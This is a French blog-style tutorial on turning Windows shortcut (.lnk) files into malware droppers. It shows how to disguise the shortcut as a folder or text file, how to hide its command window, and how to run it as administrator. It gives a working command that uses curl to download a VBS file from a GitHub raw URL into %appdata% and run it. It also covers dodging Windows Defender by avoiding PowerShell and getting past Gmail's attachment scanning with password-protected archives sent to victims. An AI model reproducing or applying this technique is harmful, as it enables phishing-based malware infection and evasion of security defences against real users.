Exploitation des raccourcis Windows pour exécuter des malwares

Sur le système d’exploitation Windows, un raccourci est un petit fichier (de 1 ko à 2 ko) qui redirige vers un autre fichier. Ils permettent d’ouvrir un fichier ou exécutable directement, sans avoir à spécifier son chemin. Par exemple pour ouvrir le fichier C:\Program Files\Mozilla Firefox\firefox.exe, il est beaucoup plus rapide de double-cliquer sur un raccourci Mozilla Firefox.lnk (.lnk vient de link en anglais) placé sur le bureau que de s’y rendre via l’Explorateur Windows. Il est possible de spécifier un ou des arguments aux raccourcis Windows. Le raccourci étant un fichier, il est également possible de le compresser dans un ficher .zip.

Partant de ce postulat, un attaquant pourrait créer un raccourci malveillant dans le but d’exécuter un logiciel malveillant sur l’ordinateur de la victime. L’avantage du raccourci est qu’il est très léger et peut prendre n’importe quelle extension.

Exploitation

Pour commencer, un raccourci va être créé qui exécutera un simple Hello World en PowerShell. Pour ce faire, il faut simplement mettre en cible l’exécutable commun à tous les PC : cmd.exe :

C:\Windows\System32\cmd.exe /c "powershell -command "[reflection.assembly]::LoadWithPartialName('System.Windows.Forms')|out-null;[windows.forms.messagebox]::Show('Hello World')""

L’îcone du raccourci est changé pour le faire ressembler à un dossier, l’extension est également supprimée :

Raccourci Hello World sous forme de dossier Note : J’ai dans ce scénario d’exploitation créé un raccourci sous forme de dossier mais j’aurais très bien pu également créer un fichier .txt avec l’extension de fichier texte. Même si les extensions de fichiers connus sont affichées, l’extension du raccourci malveillant serait .txt

L’exécution du raccourci donne alors le résultat suivant :

Exécution du raccourci Hello World sous forme de dossier

L’étape suivante est maintenant de personnaliser au maximum l’exécution de l’invité de commande. En effet, les options du raccourci permettent de minimiser la fenêtre au lancement, la rendre transparente, définir une taille de fenêtre…

La configuration de la fenêtre est modifiée :

Exécution du raccourci Hello World sous forme de dossier

Les couleurs sont modifiées afin de définir le fond et l’écriture en noir, l’opacité à 30% :

Exécution du raccourci Hello World sous forme de dossier

La police d’écriture est réduite au maximum :

Exécution du raccourci Hello World sous forme de dossier

Enfin, la fonctionnalité la plus intéressante est la possibilité d’exécuter le raccourci (l’invité de commande) en tant qu’administrateur : Exécution du raccourci Hello World sous forme de dossier

L’étape suivante est la modification du raccourci pour exécuter un script VBS dont le contenu sera tout simplement un message box pour cet exemple. Je précise que j’exécute un message box car le dropper sous forme de raccourci n’a pas pour vocation d’évader l’exécutable malveillant de la détection de l’antivirus mais bien de créer un fichier qui parraît légitime pour exécuter un logiciel malveillant. Le but final est donc l’envoi par mail par exemple pour faire cliquer l’utilisateur. Voici le contenu du script VBS :

MsgBox "Je suis un malware écrit en VBS et hébergé sur GitHub"

L’étape suivante est la création de la charge qui téléchargera le malware VBS ou .exe ou tout autre format. Je précise que j’utilise curl (natif sous Windows 10) et non PowerShell car même dans un raccourci, PowerShell est détecté par Windows Defender.

Autre point important, la cible du raccourci ne doit pas faire plus de 259 caractères. Petite astuce, il est possible d’optimiser le noms des fichiers pour gagner de la place. Il est également possible d’acheter un nom domaine très court et d’héberger le fichier malveillant à la racine.

Voici le contenu de la charge :

C:\Windows\System32\cmd.exe /c "curl https://raw.githubusercontent.com/CLeBeRFR/a/main/b.vbs -o %appdata%\b.vbs && %appdata%\b.vbs"

Le raccourci final donc donc : Création charge raccourci malveillant

Compression du fichier raccourci malveillant

Le fichier doit maintenant être compressé en ligne de commande. Il n’est pas possible de passer par l’interface graphique car le raccourci pointe vers la CMD et 7Zip compressera donc cmd.exe. Compression du malware

Extraction du malware par la victime

Une fois que le malware est envoyé, lorsque la victime le décompressera, elle obtiendra tout d’abord un vrai dossier : Décompression du malware

Une fois entré dans ce dossier, le vrai raccourci malveillant est présent : Ouverture du dossier malveillant

Le malware est alors téléchargé et exécuté : Exécution du malware

La victime est alors piégé et la suite dépend du malware exécuté…

Pour terminer, j’ajouterais qu’un attaquant chiffrera probablement le nom des fichiers de l’archive et mettra un mot de passe à l’archive car Gmail par exemple détecte quand même la pièce jointe comme malveillante. Cependant, mettre un mot de passe dans des dossiers envoyés par mail peut paraître légitime pour la victime. L’archive peut également être envoyée via un service comme FromSmash ou hebergée sur un site.

Vous avez aimé l'article ? Partagez le :